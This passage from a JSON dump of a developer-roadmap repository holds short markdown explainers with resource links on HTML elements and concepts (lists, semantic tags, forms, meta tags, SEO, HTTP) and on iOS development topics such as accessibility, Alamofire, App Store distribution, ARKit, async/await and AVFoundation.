    "content": "# HTML Form Constraints\n\nHTML form constraints are rules you set on form fields to control what kind of data users can enter. These constraints help ensure that the information submitted is valid and meets your requirements. For example, you can specify that a field is required, set a minimum or maximum length for text, or restrict the input to a specific data type like a number or email address. These limitations are defined using HTML attributes directly within the form elements.\n\nVisit the following resources to learn more:\n\n- [@article@Using HTML form validation and the Constraint Validation API](https://developer.mozilla.org/en-US/docs/Web/HTML/Guides/Constraint_validation)\n- [@article@The Definitive Guide to the Constraint Validation API](https://dev.to/itxshakil/the-definitive-guide-to-the-constraint-validation-api-3l80)"
  },
  {
    "path": "src/data/roadmaps/html/content/links@wmAps9IeAvOxcqBqgUAXN.md",
    "content": "# Links\n\nLinks, also known as hyperlinks, are elements that connect one web resource to another. They allow users to navigate between different pages on the same website or to external websites. Links are created using the `<a>` (anchor) tag, and they can point to various types of resources, including HTML pages, images, documents, and more.\n\nVisit the following resources to learn more:\n\n- [@article@<a>: The Anchor element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/a)\n- [@article@The HTML <a> Tag – Anchor Tag Example Code](https://www.freecodecamp.org/news/the-html-a-tag-anchor-tag-example-code/)\n- [@video@HTML a Tag Tutorial: Easy Guide for Beginners](https://www.youtube.com/watch?v=J0jqBqFd7Ro)"
  },
  {
    "path": "src/data/roadmaps/html/content/lists-and-types@oHbzYpFInyr5aKCe-NWkC.md",
    "content": "# Lists and Types\n\nLists in HTML are used to present information in a structured and organized manner. There are primarily two main types: ordered lists (numbered) and unordered lists (bulleted). HTML also supports definition lists, which are used to display terms and their corresponding definitions. Each type of list uses specific HTML tags to define the list structure and its individual items.\n\nVisit the following resources to learn more:\n\n- [@article@HTML Lists](https://www.w3schools.com/html/html_lists.asp)\n- [@video@Learn HTML lists in 4 minutes 📋](https://www.youtube.com/watch?v=-kXZvKxs9oA)"
  },
  {
    "path": "src/data/roadmaps/html/content/main@InNY2DPYlnZaeBG9X_sMI.md",
    "content": "# Main Element\n\nThe `<main>` element in HTML defines the primary content of a document's `<body>`. It should contain the central topic of the page, excluding any content that is repeated across multiple pages, such as navigation, headers, or footers. Using `<main>` helps improve accessibility and provides a clear structure for search engines and assistive technologies to understand the page's purpose.\n\nVisit the following resources to learn more:\n\n- [@article@<main>: The Main element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/main)\n- [@video@HTML main Tag Tutorial (Semantic Element): Easy Guide for Beginners](https://www.youtube.com/watch?v=ROahTJeu-Iw)"
  },
  {
    "path": "src/data/roadmaps/html/content/mark@9S2IUUWVv_Q7ZfD7VqfhH.md",
    "content": "# Mark Text\n\nThe `<mark>` tag in HTML is used to highlight specific parts of text within a larger block of content. It's primarily intended to draw the reader's attention to these sections, often because they are relevant to the user's current activity or search query. The default styling usually renders the marked text with a yellow background, but this can be customized using CSS.\n\nVisit the following resources to learn more:\n\n- [@article@<mark>: The Mark Text element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/mark)\n- [@video@Mark Tag Example HTML | Master When and How to Use Mark Tag properly!](https://www.youtube.com/watch?v=uJc-UUgZ-UM)"
  },
  {
    "path": "src/data/roadmaps/html/content/meta@ceAHMWQeaqURKWy628QBH.md",
    "content": "# Meta Tags\n\nMeta tags are HTML elements that provide metadata about a webpage. This data is not displayed on the page itself but is used by browsers, search engines, and other web services to understand the content and purpose of the page. They are placed within the `<head>` section of an HTML document and can specify information like character set, description, keywords, author, and viewport settings.\n\nVisit the following resources to learn more:\n\n- [@article@<meta>: The metadata element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta)\n- [@article@Meta elements | Wikipedia](https://en.wikipedia.org/wiki/Meta_element)\n- [@video@Learn HTML meta tags in 3 minutes](https://www.youtube.com/watch?v=bi5bfH_gVWE)"
  },
  {
    "path": "src/data/roadmaps/html/content/nav@4uKQubirOgXz9ZvfR9cWa.md",
    "content": "# Nav\n\nThe `<nav>` element in HTML is used to define a section of a page that contains navigation links. It's intended for major navigational blocks, like a site's menu, a table of contents, or a set of breadcrumbs. Using `<nav>` helps structure your content and makes it more accessible to screen readers and search engines by clearly identifying navigation sections.\n\nVisit the following resources to learn more:\n\n- [@article@<nav>: The Navigation Section element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/nav)\n- [@video@HTML nav Tag Tutorial (Semantic Element): Easy Guide for Beginners](https://www.youtube.com/watch?v=FqDFwCQb4yI)"
  },
  {
    "path": "src/data/roadmaps/html/content/nested-lists@wDBnbKni0SamOqNhnp87B.md",
    "content": "# Nested Lists in HTML\n\nNested lists in HTML allow you to create lists within lists, forming a hierarchical structure. This is achieved by placing one list (either ordered `<ol>` or unordered `<ul>`) inside a list item `<li>` of another list. This creates a sub-list that is visually indented, helping to organize information into related categories and subcategories.\n\nVisit the following resources to learn more:\n\n- [@article@How to Create Nested Lists in HTML: A Simple Guide](https://www.dhiwise.com/post/how-to-create-nested-lists-in-html-a-simple-guide)"
  },
  {
    "path": "src/data/roadmaps/html/content/ordered-lists@ePOzN3Sh5tCYlAbsweWU0.md",
    "content": "# Ordered Lists\n\nOrdered lists in HTML are used to display a series of items in a specific order. Each item in the list is typically numbered, allowing readers to easily follow a sequence or ranking. The `<ol>` tag is used to create an ordered list, and each list item is defined using the `<li>` tag.\n\nVisit the following resources to learn more:\n\n- [@article@<ol>: The Ordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/ol)\n- [@article@<li>: The List Item element](http://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/li)"
  },
  {
    "path": "src/data/roadmaps/html/content/p@czmIvZYONFDxB2UNpT8U1.md",
    "content": "# p Tag\n\nThe `<p>` tag in HTML defines a paragraph. Browsers automatically add a single blank line before and after each paragraph, creating a clear separation between blocks of text. It's a block-level element, meaning it occupies the full width available to it and starts on a new line.\n\nVisit the following resources to learn more:\n\n- [@article@<p>: The Paragraph element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/p)\n- [@video@HTML - Paragraphs | W3Schools](https://www.youtube.com/watch?v=qis4kAOThLw)"
  },
  {
    "path": "src/data/roadmaps/html/content/pre@-2BvwJsqa5K8Tb8oSDUC8.md",
    "content": "# pre\n\nThe `<pre>` tag in HTML represents preformatted text. Text inside a `<pre>` element is displayed in a fixed-width font, and it preserves both spaces and line breaks. This is useful for displaying code snippets, ASCII art, or any other text where formatting is important.\n\nVisit the following resources to learn more:\n\n- [@article@<pre>: The Preformatted Text element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/pre)\n- [@article@<pre> Tag in HTML – Example Code](https://www.freecodecamp.org/news/pre-tag-in-html-example-code/)\n- [@video@HTML pre tag (Preformatted Text Element)](https://www.youtube.com/watch?v=9jZLg2CIgQQ)"
  },
  {
    "path": "src/data/roadmaps/html/content/priority-hints@znqYy9Tgfpe-qakjRr7KU.md",
    "content": "# Priority Hints\n\nPriority Hints in HTML allow developers to indicate the relative priority of fetching resources like images. This helps the browser decide which images to load first, potentially improving page load times and user experience by prioritizing content that is immediately visible or more important to the user. This is achieved using the `fetchpriority` attribute.\n\nVisit the following resources to learn more:\n\n- [@article@Priority header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Priority)"
  },
  {
    "path": "src/data/roadmaps/html/content/q@Xprekf2SY1fevcR2P5gRw.md",
    "content": "# The `<q>` Element\n\nThe `<q>` element in HTML represents a short, inline quotation. Browsers typically render this element with quotation marks around the content it contains. It's designed for brief quotes that fit within a paragraph, as opposed to longer, block-level quotations that would use the `<blockquote>` element.\n\nVisit the following resources to learn more:\n\n- [@article@<q>: The Inline Quotation element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/q)\n- [@video@The Blockquote and Quote Tags](https://www.youtube.com/watch?v=SNEABGfkWhQ)"
  },
  {
    "path": "src/data/roadmaps/html/content/s@Hx8mfbfkvRrBqLypE_NL3.md",
    "content": "# s\n\nThe `<s>` element in HTML represents content that is no longer accurate or relevant. It indicates things that are no longer correct, accurate, or no longer relevant. Browsers typically render this element with a strikethrough, visually indicating the text has been removed or is no longer valid.\n\nVisit the following resources to learn more:\n\n- [@article@<s>: The Strikethrough element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/s)\n- [@article@HTML s Tag: How it Works with Examples](https://flatcoding.com/tutorials/html/html-s-tag-how-it-works-with-examples/)"
  },
  {
    "path": "src/data/roadmaps/html/content/section@1WvHjkclwT-LUGdeuygzV.md",
    "content": "# Section Tag\n\nThe `<section>` tag in HTML is used to define thematic groupings of content within a document. It's a way to organize related content together, like chapters, introductions, or news items. A section typically has a heading and can contain other HTML elements to structure the content within it.\n\nVisit the following resources to learn more:\n\n- [@article@<section>: The Generic Section element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/section)\n- [@video@HTML section Tag Tutorial (Semantic Element): Easy Guide for Beginners](https://www.youtube.com/watch?v=08b6OJbL3Cs)"
  },
  {
    "path": "src/data/roadmaps/html/content/semantic-markup@aJTXstcrsINdov7yrH8cE.md",
    "content": "# Semantic Markup\n\nSemantic markup uses HTML tags to convey the meaning and structure of content, rather than just its appearance. This approach makes web pages more accessible to both humans and machines by providing context about the different parts of the content, such as headings, paragraphs, articles, and navigation menus. By using semantic elements, developers create more organized and understandable code, which improves search engine optimization and overall website usability.\n\nVisit the following resources to learn more:\n\n- [@article@Semantics](https://developer.mozilla.org/en-US/docs/Glossary/Semantics)\n- [@article@HTML Semantic Elements](https://www.w3schools.com/html/html5_semantic_elements.asp)\n- [@video@HTML & CSS for Absolute Beginners: Semantic HTML](https://www.youtube.com/watch?v=YOsMJQfwqow)"
  },
  {
    "path": "src/data/roadmaps/html/content/span@f7-umBvAzDZxHtHgJMCj6.md",
    "content": "# Span Element\n\nThe `<span>` element is an inline container used to mark up a part of a text, or a part of a document. It is used to group elements for styling purposes or because they share attributes such as `lang` or `dir`. It doesn't inherently represent anything on its own, but becomes useful when combined with CSS or JavaScript to target specific sections of text.\n\nVisit the following resources to learn more:\n\n- [@article@<span>: The Content Span element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/span)\n- [@article@Span HTML – How to Use the Span Tag with CSS](https://www.freecodecamp.org/news/span-html-how-to-use-the-span-tag-with-css/)\n- [@video@Learn HTML span & div in 4 minutes!](https://www.youtube.com/watch?v=WbnCll6vvw4)"
  },
  {
    "path": "src/data/roadmaps/html/content/standard-attributes@xgw2ux-2Poml1fjWxjFsu.md",
    "content": "# Standard Attributes\n\nStandard attributes are properties that can be used on almost all HTML elements to provide additional information or functionality. These attributes control things like element styling, identification, accessibility, and event handling, allowing you to modify how elements behave and interact within a webpage. They offer a consistent way to manage common element characteristics across different browsers and devices."
  },
  {
    "path": "src/data/roadmaps/html/content/style@GpaI2IDHDOZjyT3AZMbYD.md",
    "content": "# Style Attribute\n\nThe `style` attribute in HTML allows you to apply CSS (Cascading Style Sheets) directly to individual HTML elements. It's used to define inline styles, overriding external stylesheets or default browser styles. You can set properties like color, font, size, and layout directly within the HTML tag.\n\nVisit the following resources to learn more:\n\n- [@article@HTML style global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/style)\n- [@article@HTML style](https://www.codecademy.com/resources/docs/html/attributes/style)\n- [@video@HTML Style Attribute | Mastering of Web development](https://www.youtube.com/watch?v=zk97ve9JM6A)"
  },
  {
    "path": "src/data/roadmaps/html/content/styling-basics@51NlCt5pvWNfa70WaE2M4.md",
    "content": "# Styling Basics\n\nStyling Basics in HTML involves using CSS (Cascading Style Sheets) to control the visual presentation of HTML elements. This includes properties like colors, fonts, layout, and responsiveness, allowing you to customize the look and feel of your web pages beyond the default browser styles. By applying CSS rules, you can create visually appealing and user-friendly websites.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with CSS](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Getting_started)\n- [@article@HTML and CSS – Inline Style, External Stylesheet, CSS Code Examples](https://www.freecodecamp.org/news/html-and-css-inline-style-external-stylesheet-css-code-examples/)\n- [@video@CSS - How to add CSS to HTML | W3Schools](https://www.youtube.com/watch?v=VSwaoQ3TFkQ)"
  },
  {
    "path": "src/data/roadmaps/html/content/sub@JU8Ff3DSCn_db0K7-P-Op.md",
    "content": "# Subscript Text\n\nThe `<sub>` tag in HTML is used to display text as subscript. Subscript text appears slightly below the normal line of text and is typically rendered in a smaller font size. It's commonly used for mathematical formulas, chemical formulas, or footnotes.\n\nVisit the following resources to learn more:\n\n- [@article@<sub>: The Subscript element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/sub)\n- [@video@HTML sub Tag | HTML sup Tag](https://www.youtube.com/watch?v=7GBTIHoWZko)"
  },
  {
    "path": "src/data/roadmaps/html/content/sup@o1rSXBsjhD-sN0FdOK_dm.md",
    "content": "# sup\n\nThe `<sup>` tag in HTML is used to display text as superscript. Superscript text appears slightly above the normal line of text and is typically rendered in a smaller font size. It's commonly used for things like exponents, ordinal numbers (e.g., 1st, 2nd), and footnotes.\n\nVisit the following resources to learn more:\n\n- [@article@<sup>: The Superscript element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/sup)\n- [@video@HTML sub Tag | HTML sup Tag](https://www.youtube.com/watch?v=7GBTIHoWZko)"
  },
  {
    "path": "src/data/roadmaps/html/content/table-tag@3P9p18a9EjbjjMtzpoVRN.md",
    "content": "# HTML Table Tag\n\nThe HTML `<table>` tag is used to create tables on web pages. It organizes data into rows and columns, similar to a spreadsheet. Within the `<table>` tag, you'll find tags like `<tr>` for table rows, `<th>` for table headers, and `<td>` for table data cells, which define the structure and content of the table.\n\nVisit the following resources to learn more:\n\n- [@article@<table>: The Table element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/table)\n- [@article@HTML table basics](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Structuring_content/HTML_table_basics)\n- [@article@HTML Table (With Examples)](https://www.programiz.com/html/table)\n- [@video@How to Create Tables in HTML](https://www.youtube.com/watch?v=e23RA_Uo99o)"
  },
  {
    "path": "src/data/roadmaps/html/content/tags-and-attributes@nOIijMH-3TvcO1KL6qzwf.md",
    "content": "# Tags and Attributes\n\nTags and attributes are fundamental building blocks of HTML. Tags define the structure and content of a webpage, such as headings, paragraphs, and images. Attributes provide additional information about HTML elements, modifying their behavior or appearance, like specifying the source of an image or the destination of a link.\n\nVisit the following resources to learn more:\n\n- [@article@Tags | MDN docs](https://developer.mozilla.org/en-US/docs/Glossary/Tag)\n- [@article@Attributes | MDN docs](https://developer.mozilla.org/en-US/docs/Glossary/Attribute)\n- [@video@HTML - Tags | W3Schools](https://www.youtube.com/watch?v=vIoO52MdZFE)\n- [@video@HTML - Attributes | W3Schools](https://www.youtube.com/watch?v=yMX901oVtn8)"
  },
  {
    "path": "src/data/roadmaps/html/content/textual-tags@ksKI4TDz4_9IcmNORczWo.md",
    "content": "# Textual Tags\n\nTextual tags in HTML are used to structure and format text content on a webpage. They define how text should appear, whether it's a paragraph, heading, emphasized word, or a quoted section. These tags provide semantic meaning to the text, helping browsers and search engines understand the content's organization and purpose."
  },
  {
    "path": "src/data/roadmaps/html/content/title@SS7JmTrySRmRlzInvRJxw.md",
    "content": "# Title Tag\n\nThe `<title>` tag in HTML defines the title of the HTML document. This title is displayed in the browser's title bar or tab, and it's also used for bookmarking pages and in search engine results. It's placed within the `<head>` section of the HTML document.\n\nVisit the following resources to learn more:\n\n- [@article@<title>: The Document Title element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/title)\n- [@video@HTML Title Tag Example | Step-by-Step Instructions and Real-World Example!](https://www.youtube.com/watch?v=LaSOIf6dnzo)"
  },
  {
    "path": "src/data/roadmaps/html/content/unordered-lists@LKn40uz56vYrPnLG3I-CY.md",
    "content": "# Unordered Lists\n\nUnordered lists present items in a bulleted format, where the order of the items is not significant. They are used to group related content together without implying any specific sequence or priority. Each item in the list is typically marked with a bullet point, making it easy to visually distinguish and scan the list's contents.\n\nVisit the following resources to learn more:\n\n- [@article@<ul>: The Unordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/ul)\n- [@article@<li>: The List Item element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/li)"
  },
  {
    "path": "src/data/roadmaps/html/content/using-forms@P_wR4dwto2NKrvTRbdBIX.md",
    "content": "# Using Forms\n\nForms in HTML are used to collect data from users. They provide a way for users to input information like text, passwords, and selections, and then submit that data to a server for processing. Forms are created using the `<form>` element, which contains various input elements like `<input>`, `<textarea>`, and `<select>` to define the different fields for user input.\n\nVisit the following resources to learn more:\n\n- [@article@Your first form](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Your_first_form)\n- [@article@<form>: The Form element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/form)\n- [@video@Learn HTML forms in 8 minutes 📝](https://www.youtube.com/watch?v=2O8pkybH6po)"
  },
  {
    "path": "src/data/roadmaps/html/content/video@mWc4HuNQACXGpJjEPa79j.md",
    "content": "# Video\n\nThe `<video>` element in HTML is used to embed video content directly into a webpage. It allows you to display video files, control playback, and provide options for users to interact with the video, such as pausing, playing, adjusting volume, and viewing in fullscreen. The element supports various video formats and attributes to customize the video's appearance and behavior.\n\nVisit the following resources to learn more:\n\n- [@article@<video>: The Video Embed element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/video)\n- [@article@Learn HTML video in 4 minutes!](https://www.youtube.com/watch?v=BAx2GaMW2qA)\n- [@course@HTML & CSS - How to Embed a YouTube Video in Your Website](https://www.youtube.com/watch?v=ly36kn0ug4k)"
  },
  {
    "path": "src/data/roadmaps/html/content/what-are-markup-languages@4gst44L8-ps9YFMHzucfN.md",
    "content": "# Markup Languages\n\nMarkup languages are systems for annotating text in a way that makes it readable by both humans and computers. They use tags to define elements within a document, specifying how the text should be structured, formatted, and displayed. For example, HTML uses tags like `<p>` for paragraphs and `<h1>` for headings to structure web content, while XML uses custom tags to define data structures for various applications.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Markup Language?](https://www.semrush.com/blog/markup-language/)\n- [@video@Theory - Markup Languages](https://www.youtube.com/watch?v=6PWOswN4lgg)"
  },
  {
    "path": "src/data/roadmaps/html/content/what-is-http@nXRjahYSDqfEqY26yfLEt.md",
    "content": "# What is HTTP?\n\nHTTP (Hypertext Transfer Protocol) enables browser-server communication through requests and responses. Stateless protocol using methods like GET and POST. HTTPS provides encrypted security. Newer versions (HTTP/2, HTTP/3) offer improved performance. Fundamental for web development understanding.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@How HTTPS Works](https://howhttps.works/)\n- [@article@HTTP/3 Is Now a Standard: Why Use It and How to Get Started](https://thenewstack.io/http-3-is-now-a-standard-why-use-it-and-how-to-get-started/)"
  },
  {
    "path": "src/data/roadmaps/html/content/what-is-seo@6vGbvRsmQgOpRh8JJ3RF_.md",
    "content": "# Search Engine Optimization (SEO)\n\nSearch Engine Optimization, or SEO, is the practice of improving your website to increase its visibility when people search for products or services related to your business in search engines like Google. The better visibility your pages have in search results, the more likely you are to garner attention and attract prospective and existing customers to your business. A related concept, Generative Engine Optimization (GEO), focuses on optimizing content for AI-powered search experiences, ensuring your information is accurately and effectively presented in AI-generated summaries and responses.\n\nVisit the following resources to learn more:\n\n- [@article@Search Engine Optimization (SEO) Starter Guide](https://developers.google.com/search/docs/fundamentals/seo-starter-guide)\n- [@article@What Is SEO?](https://exposureninja.com/blog/what-is-seo/)\n- [@article@GEO (Generative Engine Optimization) vs SEO (Search Engine Optimization): What’s The Difference?](https://writesonic.com/blog/geo-vs-seo)\n- [@video@SEO In 5 Minutes | What Is SEO And How Does It Work](https://www.youtube.com/watch?v=MYE6T_gd7H0)\n- [@video@Why Generative Engine Optimisation (GEO) is the FUTURE of SEO](https://www.youtube.com/watch?v=FoIc8LkSETo)"
  },
  {
    "path": "src/data/roadmaps/html/content/whitespaces@IUsaaRxiuOn3y9uYbpsJ0.md",
    "content": "# Whitespaces\n\nWhitespaces in HTML refer to the spaces, tabs, and line breaks that are used to format the code. Browsers typically collapse multiple consecutive whitespaces into a single space when rendering the content. While using whitespaces can improve the readability of your HTML code, they generally don't affect how the page is displayed to the user.\n\nVisit the following resources to learn more:\n\n- [@article@Handling whitespace | MDN docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Text/Whitespace)\n- [@video@Whitespace in HTML](https://www.youtube.com/watch?v=XhItAZTTSR8)"
  },
  {
    "path": "src/data/roadmaps/html/html.md",
    "content": "---\nrenderer: editor\n---"
  },
  {
    "path": "src/data/roadmaps/ios/content/accessibility-inspector@h34LaYQ3JYN2AZPMDqpmO.md",
    "content": "# Accessibility Inspector\n\nThe Accessibility Inspector is a powerful tool in Xcode that helps developers ensure their iOS applications are accessible to users with disabilities. It provides a comprehensive view of an app's accessibility features, allowing developers to inspect and test various accessibility attributes of UI elements. The inspector displays information such as accessibility labels, hints, and traits for each element on the screen. It enables real-time simulation of different accessibility settings, such as VoiceOver, to test how the app behaves under various accessibility conditions. Developers can use the Accessibility Inspector to identify and fix issues related to screen reader compatibility, color contrast, and touch target sizes. This tool is crucial for creating inclusive apps that comply with accessibility guidelines and standards, ensuring that apps are usable by people with visual, auditory, motor, or cognitive impairments. Regular use of the Accessibility Inspector throughout the development process helps in building more universally accessible and user-friendly iOS applications.\n\nLearn more from the following resources:\n\n- [@official@Accessibility Inspector](https://developer.apple.com/documentation/accessibility/accessibility-inspector)\n- [@official@Inspecting the accessibility of the screens in your app](https://developer.apple.com/documentation/accessibility/inspecting-the-accessibility-of-screens)\n- [@video@Perform accessibility audits for your app](https://developer.apple.com/videos/play/wwdc2023/10035/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/accessibility@1DZYPqvgY6GtwMCS7N2y-.md",
    "content": "# Accessibility\nWith built-in accessibility features, accessibility APIs, and developer tools, Apple operating systems provide extraordinary opportunities to deliver high-quality experiences to everyone, including people with disabilities. Take advantage of VoiceOver — the revolutionary screen reader for blind and low-vision users — Music Haptics, Switch Control, Guided Access, Text to Speech, closed‑captioned or audio‑described video, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility](https://developer.apple.com/accessibility/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/alamofire@nJeBisdKtN43ntkXnPCVF.md",
    "content": "# Alamofire\n\nAlamofire is a popular third-party networking library for iOS, built on top of Apple's URLSession. It offers a more elegant and simplified interface for common networking tasks, making it easier to write concise and readable networking code. Alamofire provides a chainable request/response API, automated JSON parsing, authentication handling, and convenient methods for common HTTP operations. It supports features like request/response interceptors, network reachability monitoring, and robust error handling. The library is particularly useful for working with RESTful APIs, offering easy integration with JSON and Swift's Codable protocol. Alamofire's modular architecture allows for easy extension and customization, making it adaptable to various project needs. While it adds an external dependency to projects, many developers find that Alamofire's convenience and feature set outweigh this consideration, especially in complex networking scenarios where it can significantly reduce boilerplate code and simplify network request management.\n\nLearn more from the following resources:\n\n- [@opensource@Alamofire/Alamofire](https://github.com/Alamofire/Alamofire)\n- [@article@Alamofire Tutorial with Swift (Quickstart)](https://codewithchris.com/alamofire/)\n- [@article@How to Use Alamofire in Swift: A Guide](https://www.waldo.com/blog/how-to-use-alamofire)"
  },
  {
    "path": "src/data/roadmaps/ios/content/app-store-distribution@iZAXQKLe2LaIIifVFtFOL.md",
    "content": "# App Store Distribution\n\nApp Store distribution is the process of preparing and submitting an iOS application for release on Apple's App Store. This involves several key steps: \n\n1. App Store Connect Setup: Registering your app in App Store Connect, including adding app metadata, screenshots, and descriptions.\n2. Certificates and Provisioning Profiles: Creating the necessary certificates and provisioning profiles in the Apple Developer portal to sign your app for distribution.\n3. Build and Archive: Using Xcode to build and archive your app, ensuring it meets Apple’s guidelines and standards.\n4. Submission: Submitting the app for review through App Store Connect, where Apple’s review team evaluates it for compliance with their guidelines.\n5. Release and Updates: Once approved, the app is published to the App Store. Developers can manage updates, monitor app performance, and respond to user feedback through App Store Connect.\n\nThis process ensures that apps are of high quality, secure, and provide a good user experience before reaching the end users.\n\nLearn more from the following resources:\n\n- [@official@Distribute on App Store](https://developer.apple.com/distribute/)\n- [@official@Distributing Custom Apps](https://developer.apple.com/custom-apps/)\n- [@video@Submit App to App Store (Upload iOS App)](https://www.youtube.com/watch?v=bz_KJdXylh0)\n- [@article@Creating the iOS Provisioning Profiles](https://support.staffbase.com/hc/en-us/articles/115003598691-Creating-the-iOS-Provisioning-Profiles)"
  },
  {
    "path": "src/data/roadmaps/ios/content/app-store-optimization-aso@jZpH-T2hW-XBdprVqemGi.md",
    "content": "# App Store Optimization (ASO)\n\nApp Store Optimization (ASO) is the process of improving the visibility and ranking of a mobile app within app stores like Apple's App Store and Google Play. The goal of ASO is to increase app downloads and user engagement. Key strategies include optimizing the app title and description with relevant keywords, creating compelling and clear app icons, and using high-quality screenshots and videos to showcase the app's features. Additionally, gathering positive user reviews and ratings, regularly updating the app to fix bugs and add new features, and encouraging user engagement can significantly enhance an app’s ranking. ASO also involves monitoring and analyzing performance metrics to continually refine and improve the app’s visibility and attractiveness to potential users. Effective ASO leads to higher organic downloads and better overall app performance.\n\nLearn more from the following resources:\n\n- [@video@5 Essential ASO Strategies to Boost Your App Store Ranking in 2024](https://www.youtube.com/watch?v=bqM9x-oRZOA)\n- [@video@Advanced App Store Optimization Strategies for 2024](https://www.youtube.com/watch?v=d8TOuMnMv74)\n- [@article@What is App Store Optimization (ASO)?](https://appradar.com/academy/what-is-app-store-optimization-aso)"
  },
  {
    "path": "src/data/roadmaps/ios/content/architectural-patterns@ajPGMwoaFb1UFWTtpi5kd.md",
    "content": "# Architectural Patterns\n\niOS development architectural patterns are structured approaches to organizing code for better maintainability, testability, and scalability. Each pattern has its strengths, and the choice often depends on project size, complexity, and team preferences. Understanding these patterns helps developers create more organized, maintainable iOS applications."
  },
  {
    "path": "src/data/roadmaps/ios/content/arkit@k3uHcF0CsyHr6PK95UwR1.md",
    "content": "# ARKit\n\nARKit is Apple’s framework for creating `augmented reality (AR) experiences` on iOS devices.\n\n`Augmented reality (AR)` describes user experiences that add 2D or 3D elements to the live view from a device’s sensors in a way that makes those elements appear to inhabit the real world.\n\nVisit the following resources to learn more:\n\n- [@official@ARKit](https://developer.apple.com/documentation/arkit)\n- [@official@Setting up access to ARKit data](https://developer.apple.com/documentation/visionos/setting-up-access-to-arkit-data)\n- [@article@Everything you need to know about Apple's augmented reality platform](https://www.pocket-lint.com/ar-vr/news/apple/141615-apple-ar-kit-explained/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/async--await-in-swift@3GtrUXvLgvXK3G8cXRb-P.md",
    "content": "# async / await in Swift\n\nAsync/await in Swift is a modern concurrency model introduced in Swift 5.5 that simplifies asynchronous programming. It allows developers to write asynchronous code that looks and behaves like synchronous code, improving readability and reducing callback hell. The `async` keyword marks functions that can be suspended and resumed, while `await` is used to call these functions and wait for their completion. This model works with Swift's structured concurrency system, including tasks and actors, to manage complex asynchronous operations more easily.\n\nLearn more from the following resources:\n\n- [@video@Discover async / await in less than 90 seconds](https://www.youtube.com/watch?v=3CPsVAFfXlA)"
  },
  {
    "path": "src/data/roadmaps/ios/content/async--await@ysaBCl_TtWqelirptQp7P.md",
    "content": "# Async / Await\n\nAsync/await in Swift is a modern approach to handling asynchronous operations, introduced to simplify complex asynchronous code and mitigate the challenges of callback-based programming. This feature allows developers to write asynchronous code that looks and behaves like synchronous code, improving readability and maintainability. The 'async' keyword marks functions that can be suspended and resumed, while 'await' is used to call these functions and wait for their completion without blocking the entire thread. This pattern integrates seamlessly with Swift's error handling mechanism, allowing for more natural try-catch blocks in asynchronous contexts. Async/await works with Swift's structured concurrency system, including tasks and actors, to manage complex asynchronous operations more easily.\n\nLearn more from the following resources:\n\n- [@article@Async await in Swift explained with code examples](https://www.avanderlee.com/swift/async-await/)\n- [@article@Swift async await](https://www.hackingwithswift.com/swift/5.5/async-await)\n- [@video@Meet async/await in Swift](https://developer.apple.com/videos/play/wwdc2021/10132/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/auto-layout@j2BL0sf3WjnJZZWa7cCjy.md",
    "content": "# Auto layout\n\nAuto Layout dynamically calculates the size and position of all the views in your view hierarchy, based on constraints placed on those views. For example, you can constrain a button so that it is horizontally centered with an Image view and so that the button’s top edge always remains 8 points below the image’s bottom. If the image view’s size or position changes, the button’s position automatically adjusts to match.\n\nLearn more from the following resources:\n\n[@official@Understanding Auto Layout](https://developer.apple.com/library/archive/documentation/UserExperience/Conceptual/AutolayoutPG/index.html)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/avfoundation@UKgiSQvR9cryQT50t7riZ.md",
    "content": "# AVFoundation\n\nAVFoundation is a comprehensive framework for working with time-based audiovisual media on iOS-based platforms. It enables developers to play, create, and edit QuickTime movies and MPEG-4 files, as well as handle HLS streams. AVFoundation offers robust tools for audio and video capture, editing, and playback, allowing for advanced media functionalities like precise control over audio sessions, media composition, and real-time processing. It ensures high performance and flexibility for building rich multimedia experiences in apps.\n\nLearn more from the following resources:\n\n- [@official@AVFoundation Documentation](https://developer.apple.com/av-foundation/)\n- [@article@Learning AVFoundation](https://medium.com/@divya.nayak/learning-avfoundation-part-1-c761aad183ad)"
  },
  {
    "path": "src/data/roadmaps/ios/content/azure-devops@r3fNx1Hk_TGlQSDtRnXqF.md",
